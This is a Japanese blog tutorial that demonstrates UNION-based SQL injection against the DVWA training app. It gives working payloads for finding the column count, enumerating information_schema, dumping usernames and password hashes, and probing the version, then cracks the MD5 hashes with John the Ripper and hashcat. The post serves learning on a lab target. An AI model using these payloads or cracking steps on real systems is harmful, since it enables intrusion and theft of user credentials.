バグのバウンティしてみたい

ペンテストとテンペストを言い間違える

今の努力が将来に繋がることを願う。悪用厳禁。

DVWAでSQLインジェクションによるData leak

SQLインジェクションを調べると、ほとんどログインバイパスの話(' OR 1=1 --とか)ばかりだが任意データの引き出しの話もありますよ。

SQLの使い方を知らない場合

まずは、SQLZOOとかでデータの引き出し方だけでも学んでおくと、ここからの話が頭に入りやすい。

一応SQLでのログインバイパス

SQL Injection - hacksplainingで視覚的に、実際に体験しながら学べる。

確認環境

DVWAの[SQL Injection]のページで試す。
docker等のコンテナやOWASP Broken Web Applications Project download | SourceForge.netで配布されているovaで環境を用意するのが簡単である。

docker run --rm -d -p 18080:80 vulnerables/web-dvwa
docker run -d -p 18080:80 --name dvwa vulnerables/web-dvwa

dvwaのログインはadmin:admin,admin:passwordのどちらか。

Data leak by SQL Injection

dvwaのSQL Injectionページで行っていく。

f:id:Zarat:20210318144400p:plain
DVWA - SQL Injeciton

事前調査

このページは数値のUser IDを入力してSubmitを押すと、User IDに応じたFirst nameとSurnameが表示される。

f:id:Zarat:20210318144705p:plain
Submit User ID
とりあえず、シングルクォーテーションとかを入力してみると

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1

エラーからMySQL(MariaDB)だと分かる。SQLサーバの種類によって確認すべきものであったりSQLの文法が変わるので、サーバの種類の確認が必要。

今回の手順

  1. 引き出されてるcolumnの数の特定
  2. 対象のtableやcolumnの特定
  3. Data leak

Execute

1. 引き出されてるcolumnの数の特定

まずは、次の入力でSQLの抽出column数の確認を行う。

' ORDER BY N #

Nは数値である。
SQL | ORDER BY に数字を書くと... - Qiita
このページにあるようにN番目のcolumnで並び替えを利用することで、存在しないcolumnを指定した場合にエラーが発生、エラーが発生する直前の数値が本来の抽出column数である。

' ORDER BY 3 #

Nが3のときにエラーが発生したために、2つのcolumnが引き出されていることが特定できた。

2. 対象のtableやcolumnの特定

MySQLにはinformation_schemaというSQLサーバ内の情報を保持しているtableがある。これを利用することで任意のtable,columnを捜索する。
MySQL :: MySQL 5.6 リファレンスマニュアル :: 21.4 INFORMATION_SCHEMA COLUMNS テーブル
今回はinformation_schema.columnstableを利用する。今回のケースでは、まずはtableのリストを表示する。

' UNION SELECT table_name,1 FROM information_schema.columns #

f:id:Zarat:20210318155823p:plain
table list

利用したcolomn nameはリンク先の情報を参照している。
このように多くのデータを引き出す場合には表示数が限られている場合もあり、そのような場合には少しづつデータをチェックするような手法を取っていく必要がある。
User IDの検索にはusers tableが利用されていそうであり、今回はここに他の情報がないか確認していきたい。
次に、users tableのcolumnのリストを取得する。

' UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_name = 'users' #

f:id:Zarat:20210318160447p:plain
users table's columns list
ここまでで、このUser IDの検索ページで利用されているクエリの形が推測できる。

SELECT first_name,last_name from users WHERE user_id='User IDの入力'

これがこのページで利用されていると思われる。
usersのtableにはpasswordが含まれているようなので、これを取り出すことができてしまう。

3. Data leak

' UNION SELECT user,password FROM users #

f:id:Zarat:20210318161630p:plain
data leak

出力フォームは変えられないが、このようにuser名とpasswordをセットで取り出すことができてしまった。これがSQLインジェクションによるData leakである。

余談

バージョンやデータベースの確認

クエリのカラム数が分かった後であれば、バージョンの確認

' union select null,version() #

f:id:Zarat:20210318165152p:plain
sql-server version
データベース名の確認

' union select null,database() #

f:id:Zarat:20210318165232p:plain
database-name

ハッシュクラック

今回取り出せたpasswordはハッシュであり、確認したところmd5だったのでjohn the ripperとhachcatで解読した。辞書ファイルはrockyou.txt

john the ripper

$ cat pass.txt
cat pass.txt 
admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03
1337:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
smithy:5f4dcc3b5aa765d61d8327deb882cf99
$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt pass.txt
~~
password         (admin)
abc123           (gordonb)
letmein          (pablo)
charley          (1337)
~~

adminとsmithyは一緒なので表示されない。

hashcat

$ cat pass2.txt 
5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03
8d3533d75ae2c3966d7e0d4fcc69216b
0d107d09f5bbe40cade3de5c71e9e9b7
5f4dcc3b5aa765d61d8327deb882cf99
$ hashcat -a0 -m0 --force pass.txt /usr/share/wordlists/rockyou.txt
~~
5f4dcc3b5aa765d61d8327deb882cf99:password        
e99a18c428cb38d5f260853678922e03:abc123          
0d107d09f5bbe40cade3de5c71e9e9b7:letmein         
8d3533d75ae2c3966d7e0d4fcc69216b:charley
~~